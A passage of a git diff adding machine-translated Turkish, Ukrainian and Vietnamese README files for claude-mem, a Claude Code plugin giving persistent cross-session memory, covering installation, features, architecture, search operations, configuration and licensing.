+ +--- + +## Hızlı Başlangıç + +Terminal üzerinden yeni bir Claude Code oturumu başlatın ve aşağıdaki komutları girin: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Claude Code'u yeniden başlatın. Önceki oturumlardaki bağlam otomatik olarak yeni oturumlarda görünecektir. + +**Temel Özellikler:** + +- 🧠 **Kalıcı Bellek** - Bağlam oturumlar arası hayatta kalır +- 📊 **Aşamalı Açıklama** - Token maliyeti görünürlüğü ile katmanlı bellek erişimi +- 🔍 **Beceri Tabanlı Arama** - mem-search becerisi ile proje geçmişinizi sorgulayın +- 🖥️ **Web Görüntüleyici Arayüzü** - http://localhost:37777 adresinde gerçek zamanlı bellek akışı +- 💻 **Claude Desktop Becerisi** - Claude Desktop konuşmalarından bellek araması yapın +- 🔒 **Gizlilik Kontrolü** - Hassas içeriği depolamadan hariç tutmak için `` etiketlerini kullanın +- ⚙️ **Bağlam Yapılandırması** - Hangi bağlamın enjekte edileceği üzerinde detaylı kontrol +- 🤖 **Otomatik Çalışma** - Manuel müdahale gerektirmez +- 🔗 **Alıntılar** - ID'lerle geçmiş gözlemlere referans verin (http://localhost:37777/api/observation/{id} üzerinden erişin veya http://localhost:37777 adresindeki web görüntüleyicide tümünü görüntüleyin) +- 🧪 **Beta Kanalı** - Sürüm değiştirme yoluyla Endless Mode gibi deneysel özellikleri deneyin + +--- + +## Dokümantasyon + +📚 **[Tam Dokümantasyonu Görüntüle](docs/)** - GitHub'da markdown dökümanlarına göz atın + +### Başlarken + +- **[Kurulum Kılavuzu](https://docs.claude-mem.ai/installation)** - Hızlı başlangıç ve gelişmiş kurulum +- **[Kullanım Kılavuzu](https://docs.claude-mem.ai/usage/getting-started)** - Claude-Mem otomatik olarak nasıl çalışır +- **[Arama Araçları](https://docs.claude-mem.ai/usage/search-tools)** - Doğal dil ile proje geçmişinizi sorgulayın +- **[Beta Özellikleri](https://docs.claude-mem.ai/beta-features)** - Endless Mode gibi deneysel özellikleri deneyin + +### En İyi Uygulamalar + +- **[Bağlam Mühendisliği](https://docs.claude-mem.ai/context-engineering)** - AI ajan bağlam optimizasyon ilkeleri +- **[Aşamalı Açıklama](https://docs.claude-mem.ai/progressive-disclosure)** - Claude-Mem'in bağlam hazırlama stratejisinin ardındaki felsefe + +### Mimari + +- **[Genel Bakış](https://docs.claude-mem.ai/architecture/overview)** - Sistem bileşenleri ve veri akışı +- **[Mimari Evrimi](https://docs.claude-mem.ai/architecture-evolution)** - v3'ten v5'e yolculuk +- **[Hooks Mimarisi](https://docs.claude-mem.ai/hooks-architecture)** - Claude-Mem yaşam döngüsü hook'larını nasıl kullanır +- **[Hooks Referansı](https://docs.claude-mem.ai/architecture/hooks)** - 7 hook betiği açıklandı +- **[Worker Servisi](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API ve Bun yönetimi +- **[Veritabanı](https://docs.claude-mem.ai/architecture/database)** - SQLite şeması ve FTS5 arama +- **[Arama Mimarisi](https://docs.claude-mem.ai/architecture/search-architecture)** - Chroma vektör veritabanı ile hibrit arama + +### Yapılandırma ve Geliştirme + +- **[Yapılandırma](https://docs.claude-mem.ai/configuration)** - Ortam değişkenleri ve ayarlar +- **[Geliştirme](https://docs.claude-mem.ai/development)** - Derleme, test etme, katkıda bulunma +- **[Sorun Giderme](https://docs.claude-mem.ai/troubleshooting)** - Yaygın sorunlar ve çözümler + +--- + +## Nasıl Çalışır + +**Temel Bileşenler:** + +1. **5 Yaşam Döngüsü Hook'u** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook betiği) +2. **Akıllı Kurulum** - Önbelleğe alınmış bağımlılık kontrolcüsü (ön-hook betiği, yaşam döngüsü hook'u değil) +3. **Worker Servisi** - Web görüntüleyici arayüzü ve 10 arama uç noktası ile 37777 portunda HTTP API, Bun tarafından yönetilir +4. **SQLite Veritabanı** - Oturumları, gözlemleri, özetleri saklar +5. **mem-search Becerisi** - Aşamalı açıklama ile doğal dil sorguları +6. **Chroma Vektör Veritabanı** - Akıllı bağlam erişimi için hibrit anlamsal + anahtar kelime arama + +Detaylar için [Mimari Genel Bakış](https://docs.claude-mem.ai/architecture/overview) bölümüne bakın. + +--- + +## mem-search Becerisi + +Claude-Mem, geçmiş çalışmalarınız hakkında sorduğunuzda otomatik olarak devreye giren mem-search becerisi aracılığıyla akıllı arama sağlar: + +**Nasıl Çalışır:** +- Sadece doğal bir şekilde sorun: *"Geçen oturumda ne yaptık?"* veya *"Bu hatayı daha önce düzelttik mi?"* +- Claude, ilgili bağlamı bulmak için otomatik olarak mem-search becerisini çağırır + +**Mevcut Arama İşlemleri:** + +1. **Search Observations** - Gözlemler arasında tam metin arama +2. **Search Sessions** - Oturum özetleri arasında tam metin arama +3. **Search Prompts** - Ham kullanıcı isteklerinde arama +4. **By Concept** - Kavram etiketlerine göre bul (discovery, problem-solution, pattern, vb.) +5. **By File** - Belirli dosyalara referans veren gözlemleri bul +6. **By Type** - Türe göre bul (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Bir proje için yakın zamanlı oturum bağlamını al +8. **Timeline** - Belirli bir zaman noktası etrafındaki birleşik bağlam zaman çizelgesini al +9. **Timeline by Query** - Gözlemleri ara ve en iyi eşleşme etrafındaki zaman çizelgesi bağlamını al +10. **API Help** - Arama API dokümantasyonunu al + +**Örnek Doğal Dil Sorguları:** + +``` +"Geçen oturumda hangi hataları düzelttik?" +"Kimlik doğrulamayı nasıl uyguladık?" +"worker-service.ts dosyasında hangi değişiklikler yapıldı?" +"Bu projedeki son çalışmaları göster" +"Görüntüleyici arayüzünü eklediğimizde ne oluyordu?" +``` + +Detaylı örnekler için [Arama Araçları Kılavuzu](https://docs.claude-mem.ai/usage/search-tools) bölümüne bakın. + +--- + +## Beta Özellikleri + +Claude-Mem, **Endless Mode** (genişletilmiş oturumlar için biyomimetik bellek mimarisi) gibi deneysel özellikler içeren bir **beta kanalı** sunar. http://localhost:37777 → Settings adresindeki web görüntüleyici arayüzünden kararlı ve beta sürümleri arasında geçiş yapın. + +Endless Mode hakkında detaylar ve nasıl deneyeceğiniz için **[Beta Özellikleri Dokümantasyonu](https://docs.claude-mem.ai/beta-features)** bölümüne bakın. + +--- + +## Sistem Gereksinimleri + +- **Node.js**: 18.0.0 veya üzeri +- **Claude Code**: Plugin desteği olan en son sürüm +- **Bun**: JavaScript çalışma zamanı ve işlem yöneticisi (eksikse otomatik kurulur) +- **uv**: Vektör arama için Python paket yöneticisi (eksikse otomatik kurulur) +- **SQLite 3**: Kalıcı depolama için (dahildir) + +--- + +## Yapılandırma + +Ayarlar `~/.claude-mem/settings.json` dosyasında yönetilir (ilk çalıştırmada varsayılanlarla otomatik oluşturulur). AI modelini, worker portunu, veri dizinini, log seviyesini ve bağlam enjeksiyon ayarlarını yapılandırın. + +Tüm mevcut ayarlar ve örnekler için **[Yapılandırma Kılavuzu](https://docs.claude-mem.ai/configuration)** bölümüne bakın. + +--- + +## Geliştirme + +Derleme talimatları, test etme ve katkı iş akışı için **[Geliştirme Kılavuzu](https://docs.claude-mem.ai/development)** bölümüne bakın. + +--- + +## Sorun Giderme + +Sorunlarla karşılaşırsanız, sorunu Claude'a açıklayın ve troubleshoot becerisi otomatik olarak teşhis edip düzeltmeleri sağlayacaktır. + +Yaygın sorunlar ve çözümler için **[Sorun Giderme Kılavuzu](https://docs.claude-mem.ai/troubleshooting)** bölümüne bakın. + +--- + +## Hata Raporları + +Otomatik oluşturucu ile kapsamlı hata raporları oluşturun: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Katkıda Bulunma + +Katkılar memnuniyetle karşılanır! Lütfen: + +1. Depoyu fork edin +2. Bir özellik dalı oluşturun +3. Testlerle değişikliklerinizi yapın +4. Dokümantasyonu güncelleyin +5. Pull Request gönderin + +Katkı iş akışı için [Geliştirme Kılavuzu](https://docs.claude-mem.ai/development) bölümüne bakın. + +--- + +## Lisans + +Bu proje **GNU Affero General Public License v3.0** (AGPL-3.0) altında lisanslanmıştır. + +Telif Hakkı (C) 2025 Alex Newman (@thedotmack). Tüm hakları saklıdır. + +Tam detaylar için [LICENSE](LICENSE) dosyasına bakın. + +**Bu Ne Anlama Gelir:** + +- Bu yazılımı özgürce kullanabilir, değiştirebilir ve dağıtabilirsiniz +- Değiştirip bir ağ sunucusunda dağıtırsanız, kaynak kodunuzu kullanılabilir hale getirmelisiniz +- Türev çalışmalar da AGPL-3.0 altında lisanslanmalıdır +- Bu yazılım için HİÇBİR GARANTİ yoktur + +**Ragtime Hakkında Not**: `ragtime/` dizini ayrı olarak **PolyForm Noncommercial License 1.0.0** altında lisanslanmıştır. Detaylar için [ragtime/LICENSE](ragtime/LICENSE) dosyasına bakın. + +--- + +## Destek + +- **Dokümantasyon**: [docs/](docs/) +- **Sorunlar**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Depo**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Yazar**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Claude Agent SDK ile geliştirilmiştir** | **Claude Code ile desteklenmektedir** | **TypeScript ile yapılmıştır** \ No newline at end of file diff --git a/docs/i18n/README.uk.md b/docs/i18n/README.uk.md new file mode 100644 index 00000000..10310d2e --- /dev/null +++ b/docs/i18n/README.uk.md @@ -0,0 +1,302 @@ +🌐 Це автоматичний переклад. Вітаються виправлення від спільноти! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Система стиснення постійної пам'яті, створена для Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Швидкий старт • + Як це працює • + Інструменти пошуку • + Документація • + Конфігурація • + Усунення несправностей • + Ліцензія +

+ +

+ Claude-Mem безперешкодно зберігає контекст між сесіями, автоматично фіксуючи спостереження за використанням інструментів, генеруючи семантичні резюме та роблячи їх доступними для майбутніх сесій. Це дозволяє Claude підтримувати безперервність знань про проєкти навіть після завершення або повторного підключення сесій. +

+ +--- + +## Швидкий старт + +Розпочніть нову сесію Claude Code у терміналі та введіть наступні команди: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Перезапустіть Claude Code. Контекст з попередніх сесій автоматично з'явиться в нових сесіях. + +**Ключові можливості:** + +- 🧠 **Постійна пам'ять** - Контекст зберігається між сесіями +- 📊 **Прогресивне розкриття** - Багаторівневе отримання пам'яті з видимістю вартості токенів +- 🔍 **Пошук на основі навичок** - Запитуйте історію свого проєкту за допомогою навички mem-search +- 🖥️ **Веб-інтерфейс перегляду** - Потік пам'яті в реальному часі на http://localhost:37777 +- 💻 **Навичка Claude Desktop** - Шукайте в пам'яті з розмов Claude Desktop +- 🔒 **Контроль конфіденційності** - Використовуйте теги `` для виключення чутливого вмісту зі зберігання +- ⚙️ **Конфігурація контексту** - Детальний контроль над тим, який контекст впроваджується +- 🤖 **Автоматична робота** - Не потребує ручного втручання +- 🔗 **Цитування** - Посилайтеся на минулі спостереження за ідентифікаторами (доступ через http://localhost:37777/api/observation/{id} або перегляд усіх у веб-переглядачі на http://localhost:37777) +- 🧪 **Бета-канал** - Спробуйте експериментальні функції, як-от режим Endless Mode, через перемикання версій + +--- + +## Документація + +📚 **[Переглянути повну документацію](docs/)** - Переглядайте markdown документи на GitHub + +### Початок роботи + +- **[Посібник з встановлення](https://docs.claude-mem.ai/installation)** - Швидкий старт і розширене встановлення +- **[Посібник з використання](https://docs.claude-mem.ai/usage/getting-started)** - Як Claude-Mem працює автоматично +- **[Інструменти пошуку](https://docs.claude-mem.ai/usage/search-tools)** - Запитуйте історію свого проєкту природною мовою +- **[Бета-функції](https://docs.claude-mem.ai/beta-features)** - Спробуйте експериментальні функції, як-от режим Endless Mode + +### Найкращі практики + +- **[Інженерія контексту](https://docs.claude-mem.ai/context-engineering)** - Принципи оптимізації контексту AI-агента +- **[Прогресивне розкриття](https://docs.claude-mem.ai/progressive-disclosure)** - Філософія стратегії підготовки контексту Claude-Mem + +### Архітектура + +- **[Огляд](https://docs.claude-mem.ai/architecture/overview)** - Компоненти системи та потік даних +- **[Еволюція архітектури](https://docs.claude-mem.ai/architecture-evolution)** - Шлях від v3 до v5 +- **[Архітектура хуків](https://docs.claude-mem.ai/hooks-architecture)** - Як Claude-Mem використовує хуки життєвого циклу +- **[Довідник хуків](https://docs.claude-mem.ai/architecture/hooks)** - Пояснення 7 скриптів хуків +- **[Сервіс воркера](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API та управління Bun +- **[База даних](https://docs.claude-mem.ai/architecture/database)** - Схема SQLite та пошук FTS5 +- **[Архітектура пошуку](https://docs.claude-mem.ai/architecture/search-architecture)** - Гібридний пошук з векторною базою даних Chroma + +### Конфігурація та розробка + +- **[Конфігурація](https://docs.claude-mem.ai/configuration)** - Змінні середовища та налаштування +- **[Розробка](https://docs.claude-mem.ai/development)** - Збірка, тестування, внесок +- **[Усунення несправностей](https://docs.claude-mem.ai/troubleshooting)** - Поширені проблеми та рішення + +--- + +## Як це працює + +**Основні компоненти:** + +1. **5 хуків життєвого циклу** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 скриптів хуків) +2. **Розумне встановлення** - Кешована перевірка залежностей (скрипт перед хуком, не хук життєвого циклу) +3. **Сервіс воркера** - HTTP API на порту 37777 з веб-інтерфейсом перегляду та 10 кінцевими точками пошуку, керується Bun +4. **База даних SQLite** - Зберігає сесії, спостереження, резюме +5. **Навичка mem-search** - Запити природною мовою з прогресивним розкриттям +6. **Векторна база даних Chroma** - Гібридний семантичний + ключовий пошук для інтелектуального отримання контексту + +Дивіться [Огляд архітектури](https://docs.claude-mem.ai/architecture/overview) для деталей. + +--- + +## Навичка mem-search + +Claude-Mem надає інтелектуальний пошук через навичку mem-search, яка автоматично викликається, коли ви запитуєте про минулу роботу: + +**Як це працює:** +- Просто запитайте природно: *"Що ми робили в минулій сесії?"* або *"Ми виправляли цю помилку раніше?"* +- Claude автоматично викликає навичку mem-search для пошуку релевантного контексту + +**Доступні операції пошуку:** + +1. **Пошук спостережень** - Повнотекстовий пошук у спостереженнях +2. **Пошук сесій** - Повнотекстовий пошук у резюме сесій +3. **Пошук запитів** - Пошук необроблених запитів користувачів +4. **За концепцією** - Знайти за тегами концепцій (discovery, problem-solution, pattern тощо) +5. **За файлом** - Знайти спостереження, що посилаються на конкретні файли +6. **За типом** - Знайти за типом (decision, bugfix, feature, refactor, discovery, change) +7. **Останній контекст** - Отримати останній контекст сесії для проєкту +8. **Часова шкала** - Отримати єдину часову шкалу контексту навколо конкретного моменту часу +9. **Часова шкала за запитом** - Шукати спостереження та отримувати контекст часової шкали навколо найкращого збігу +10. **Довідка API** - Отримати документацію API пошуку + +**Приклади запитів природною мовою:** + +``` +"Які помилки ми виправили в минулій сесії?" +"Як ми реалізували автентифікацію?" +"Які зміни були внесені в worker-service.ts?" +"Покажи мені останню роботу над цим проєктом" +"Що відбувалося, коли ми додали інтерфейс перегляду?" +``` + +Дивіться [Посібник з інструментів пошуку](https://docs.claude-mem.ai/usage/search-tools) для детальних прикладів. + +--- + +## Бета-функції + +Claude-Mem пропонує **бета-канал** з експериментальними функціями, як-от **режим Endless Mode** (біоміметична архітектура пам'яті для тривалих сесій). Перемикайтеся між стабільною та бета-версіями з веб-інтерфейсу перегляду на http://localhost:37777 → Налаштування. + +Дивіться **[Документацію бета-функцій](https://docs.claude-mem.ai/beta-features)** для деталей про режим Endless Mode та як його спробувати. + +--- + +## Системні вимоги + +- **Node.js**: 18.0.0 або вище +- **Claude Code**: Остання версія з підтримкою плагінів +- **Bun**: Середовище виконання JavaScript та менеджер процесів (автоматично встановлюється, якщо відсутнє) +- **uv**: Менеджер пакетів Python для векторного пошуку (автоматично встановлюється, якщо відсутній) +- **SQLite 3**: Для постійного зберігання (у комплекті) + +--- + +## Конфігурація + +Налаштування керуються в `~/.claude-mem/settings.json` (автоматично створюється зі стандартними значеннями при першому запуску). Налаштуйте модель AI, порт воркера, каталог даних, рівень журналювання та параметри впровадження контексту. + +Дивіться **[Посібник з конфігурації](https://docs.claude-mem.ai/configuration)** для всіх доступних налаштувань та прикладів. + +--- + +## Розробка + +Дивіться **[Посібник з розробки](https://docs.claude-mem.ai/development)** для інструкцій зі збірки, тестування та робочого процесу внеску. + +--- + +## Усунення несправностей + +Якщо виникають проблеми, опишіть проблему Claude, і навичка troubleshoot автоматично діагностує та надасть виправлення. + +Дивіться **[Посібник з усунення несправностей](https://docs.claude-mem.ai/troubleshooting)** для поширених проблем та рішень. + +--- + +## Звіти про помилки + +Створюйте вичерпні звіти про помилки за допомогою автоматизованого генератора: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Внесок + +Вітаються внески! Будь ласка: + +1. Створіть форк репозиторію +2. Створіть гілку функції +3. Внесіть зміни з тестами +4. Оновіть документацію +5. Надішліть Pull Request + +Дивіться [Посібник з розробки](https://docs.claude-mem.ai/development) для робочого процесу внеску. + +--- + +## Ліцензія + +Цей проєкт ліцензовано під **GNU Affero General Public License v3.0** (AGPL-3.0). + +Авторське право (C) 2025 Alex Newman (@thedotmack). Всі права захищені. + +Дивіться файл [LICENSE](LICENSE) для повних деталей. + +**Що це означає:** + +- Ви можете використовувати, модифікувати та поширювати це програмне забезпечення вільно +- Якщо ви модифікуєте та розгортаєте на мережевому сервері, ви повинні зробити свій вихідний код доступним +- Похідні роботи також повинні бути ліцензовані під AGPL-3.0 +- Для цього програмного забезпечення НЕМАЄ ГАРАНТІЇ + +**Примітка про Ragtime**: Каталог `ragtime/` ліцензовано окремо під **PolyForm Noncommercial License 1.0.0**. Дивіться [ragtime/LICENSE](ragtime/LICENSE) для деталей. + +--- + +## Підтримка + +- **Документація**: [docs/](docs/) +- **Проблеми**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Репозиторій**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Автор**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Створено за допомогою Claude Agent SDK** | **Працює на Claude Code** | **Зроблено з TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.vi.md b/docs/i18n/README.vi.md new file mode 100644 index 00000000..8dadb339 --- /dev/null +++ b/docs/i18n/README.vi.md @@ -0,0 +1,302 @@ +🌐 Đây là bản dịch tự động. Chúng tôi hoan nghênh các đóng góp từ cộng đồng! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Hệ thống nén bộ nhớ liên tục được xây dựng cho Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Bắt Đầu Nhanh • + Cách Hoạt Động • + Công Cụ Tìm Kiếm • + Tài Liệu • + Cấu Hình • + Khắc Phục Sự Cố • + Giấy Phép +

+ +

+ Claude-Mem duy trì ngữ cảnh liền mạch qua các phiên làm việc bằng cách tự động ghi lại các quan sát về việc sử dụng công cụ, tạo tóm tắt ngữ nghĩa và cung cấp chúng cho các phiên làm việc trong tương lai. Điều này giúp Claude duy trì tính liên tục của kiến thức về các dự án ngay cả sau khi phiên làm việc kết thúc hoặc kết nối lại. +

+ +--- + +## Bắt Đầu Nhanh + +Bắt đầu một phiên Claude Code mới trong terminal và nhập các lệnh sau: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Khởi động lại Claude Code. Ngữ cảnh từ các phiên trước sẽ tự động xuất hiện trong các phiên mới. + +**Tính Năng Chính:** + +- 🧠 **Bộ Nhớ Liên Tục** - Ngữ cảnh được lưu giữ qua các phiên làm việc +- 📊 **Tiết Lộ Tuần Tự** - Truy xuất bộ nhớ theo lớp với khả năng hiển thị chi phí token +- 🔍 **Tìm Kiếm Theo Kỹ Năng** - Truy vấn lịch sử dự án với kỹ năng mem-search +- 🖥️ **Giao Diện Web Viewer** - Luồng bộ nhớ thời gian thực tại http://localhost:37777 +- 💻 **Kỹ Năng Claude Desktop** - Tìm kiếm bộ nhớ từ các cuộc trò chuyện Claude Desktop +- 🔒 **Kiểm Soát Quyền Riêng Tư** - Sử dụng thẻ `` để loại trừ nội dung nhạy cảm khỏi lưu trữ +- ⚙️ **Cấu Hình Ngữ Cảnh** - Kiểm soát chi tiết về ngữ cảnh được chèn vào +- 🤖 **Hoạt Động Tự Động** - Không cần can thiệp thủ công +- 🔗 **Trích Dẫn** - Tham chiếu các quan sát trong quá khứ với ID (truy cập qua http://localhost:37777/api/observation/{id} hoặc xem tất cả trong web viewer tại http://localhost:37777) +- 🧪 **Kênh Beta** - Dùng thử các tính năng thử nghiệm như Endless Mode thông qua chuyển đổi phiên bản + +--- + +## Tài Liệu + +📚 **[Xem Tài Liệu Đầy Đủ](docs/)** - Duyệt tài liệu markdown trên GitHub + +### Bắt Đầu + +- **[Hướng Dẫn Cài Đặt](https://docs.claude-mem.ai/installation)** - Bắt đầu nhanh & cài đặt nâng cao +- **[Hướng Dẫn Sử Dụng](https://docs.claude-mem.ai/usage/getting-started)** - Cách Claude-Mem hoạt động tự động +- **[Công Cụ Tìm Kiếm](https://docs.claude-mem.ai/usage/search-tools)** - Truy vấn lịch sử dự án bằng ngôn ngữ tự nhiên +- **[Tính Năng Beta](https://docs.claude-mem.ai/beta-features)** - Dùng thử các tính năng thử nghiệm như Endless Mode + +### Thực Hành Tốt Nhất + +- **[Kỹ Thuật Ngữ Cảnh](https://docs.claude-mem.ai/context-engineering)** - Các nguyên tắc tối ưu hóa ngữ cảnh cho AI agent +- **[Tiết Lộ Tuần Tự](https://docs.claude-mem.ai/progressive-disclosure)** - Triết lý đằng sau chiến lược chuẩn bị ngữ cảnh của Claude-Mem + +### Kiến Trúc + +- **[Tổng Quan](https://docs.claude-mem.ai/architecture/overview)** - Các thành phần hệ thống & luồng dữ liệu +- **[Phát Triển Kiến Trúc](https://docs.claude-mem.ai/architecture-evolution)** - Hành trình từ v3 đến v5 +- **[Kiến Trúc Hooks](https://docs.claude-mem.ai/hooks-architecture)** - Cách Claude-Mem sử dụng lifecycle hooks +- **[Tham Chiếu Hooks](https://docs.claude-mem.ai/architecture/hooks)** - Giải thích 7 hook scripts +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API & quản lý Bun +- **[Cơ Sở Dữ Liệu](https://docs.claude-mem.ai/architecture/database)** - Schema SQLite & tìm kiếm FTS5 +- **[Kiến Trúc Tìm Kiếm](https://docs.claude-mem.ai/architecture/search-architecture)** - Tìm kiếm kết hợp với cơ sở dữ liệu vector Chroma + +### Cấu Hình & Phát Triển + +- **[Cấu Hình](https://docs.claude-mem.ai/configuration)** - Biến môi trường & cài đặt +- **[Phát Triển](https://docs.claude-mem.ai/development)** - Xây dựng, kiểm thử, đóng góp +- **[Khắc Phục Sự Cố](https://docs.claude-mem.ai/troubleshooting)** - Các vấn đề thường gặp & giải pháp + +--- + +## Cách Hoạt Động + +**Các Thành Phần Cốt Lõi:** + +1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook scripts) +2. **Smart Install** - Công cụ kiểm tra phụ thuộc được cache (pre-hook script, không phải lifecycle hook) +3. **Worker Service** - HTTP API trên cổng 37777 với giao diện web viewer và 10 điểm cuối tìm kiếm, được quản lý bởi Bun +4. **SQLite Database** - Lưu trữ các phiên, quan sát, tóm tắt +5. **mem-search Skill** - Truy vấn ngôn ngữ tự nhiên với tiết lộ tuần tự +6. **Chroma Vector Database** - Tìm kiếm kết hợp ngữ nghĩa + từ khóa để truy xuất ngữ cảnh thông minh + +Xem [Tổng Quan Kiến Trúc](https://docs.claude-mem.ai/architecture/overview) để biết chi tiết. + +--- + +## mem-search Skill + +Claude-Mem cung cấp tìm kiếm thông minh thông qua kỹ năng mem-search tự động kích hoạt khi bạn hỏi về công việc trước đây: + +**Cách Hoạt Động:** +- Chỉ cần hỏi một cách tự nhiên: *"Chúng ta đã làm gì trong phiên trước?"* hoặc *"Chúng ta đã sửa lỗi này trước đây chưa?"* +- Claude tự động gọi kỹ năng mem-search để tìm ngữ cảnh liên quan + +**Các Thao Tác Tìm Kiếm Có Sẵn:** + +1. **Search Observations** - Tìm kiếm toàn văn trên các quan sát +2. **Search Sessions** - Tìm kiếm toàn văn trên các tóm tắt phiên +3. **Search Prompts** - Tìm kiếm các yêu cầu người dùng thô +4. **By Concept** - Tìm theo thẻ khái niệm (discovery, problem-solution, pattern, v.v.) +5. **By File** - Tìm các quan sát tham chiếu đến các tệp cụ thể +6. **By Type** - Tìm theo loại (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Lấy ngữ cảnh phiên gần đây cho một dự án +8. **Timeline** - Lấy dòng thời gian thống nhất của ngữ cảnh xung quanh một thời điểm cụ thể +9. **Timeline by Query** - Tìm kiếm các quan sát và lấy ngữ cảnh dòng thời gian xung quanh kết quả khớp tốt nhất +10. **API Help** - Lấy tài liệu API tìm kiếm + +**Ví Dụ Truy Vấn Ngôn Ngữ Tự Nhiên:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Xem [Hướng Dẫn Công Cụ Tìm Kiếm](https://docs.claude-mem.ai/usage/search-tools) để biết các ví dụ chi tiết. + +--- + +## Tính Năng Beta + +Claude-Mem cung cấp **kênh beta** với các tính năng thử nghiệm như **Endless Mode** (kiến trúc bộ nhớ sinh học mô phỏng cho các phiên mở rộng). Chuyển đổi giữa các phiên bản ổn định và beta từ giao diện web viewer tại http://localhost:37777 → Settings. + +Xem **[Tài Liệu Tính Năng Beta](https://docs.claude-mem.ai/beta-features)** để biết chi tiết về Endless Mode và cách dùng thử. + +--- + +## Yêu Cầu Hệ Thống + +- **Node.js**: 18.0.0 hoặc cao hơn +- **Claude Code**: Phiên bản mới nhất với hỗ trợ plugin +- **Bun**: JavaScript runtime và trình quản lý tiến trình (tự động cài đặt nếu thiếu) +- **uv**: Trình quản lý gói Python cho tìm kiếm vector (tự động cài đặt nếu thiếu) +- **SQLite 3**: Cho lưu trữ liên tục (đi kèm) + +--- + +## Cấu Hình + +Cài đặt được quản lý trong `~/.claude-mem/settings.json` (tự động tạo với giá trị mặc định khi chạy lần đầu). Cấu hình mô hình AI, cổng worker, thư mục dữ liệu, mức độ log và cài đặt chèn ngữ cảnh. + +Xem **[Hướng Dẫn Cấu Hình](https://docs.claude-mem.ai/configuration)** để biết tất cả các cài đặt và ví dụ có sẵn. + +--- + +## Phát Triển + +Xem **[Hướng Dẫn Phát Triển](https://docs.claude-mem.ai/development)** để biết hướng dẫn xây dựng, kiểm thử và quy trình đóng góp. + +--- + +## Khắc Phục Sự Cố + +Nếu gặp sự cố, hãy mô tả vấn đề cho Claude và kỹ năng troubleshoot sẽ tự động chẩn đoán và cung cấp các bản sửa lỗi. + +Xem **[Hướng Dẫn Khắc Phục Sự Cố](https://docs.claude-mem.ai/troubleshooting)** để biết các vấn đề thường gặp và giải pháp. + +--- + +## Báo Cáo Lỗi + +Tạo báo cáo lỗi toàn diện với trình tạo tự động: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Đóng Góp + +Chúng tôi hoan nghênh các đóng góp! Vui lòng: + +1. Fork repository +2. Tạo nhánh tính năng +3. Thực hiện thay đổi của bạn kèm kiểm thử +4. Cập nhật tài liệu +5. Gửi Pull Request + +Xem [Hướng Dẫn Phát Triển](https://docs.claude-mem.ai/development) để biết quy trình đóng góp. + +--- + +## Giấy Phép + +Dự án này được cấp phép theo **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Bảo lưu mọi quyền. + +Xem tệp [LICENSE](LICENSE) để biết chi tiết đầy đủ. + +**Điều Này Có Nghĩa Là:** + +- Bạn có thể sử dụng, sửa 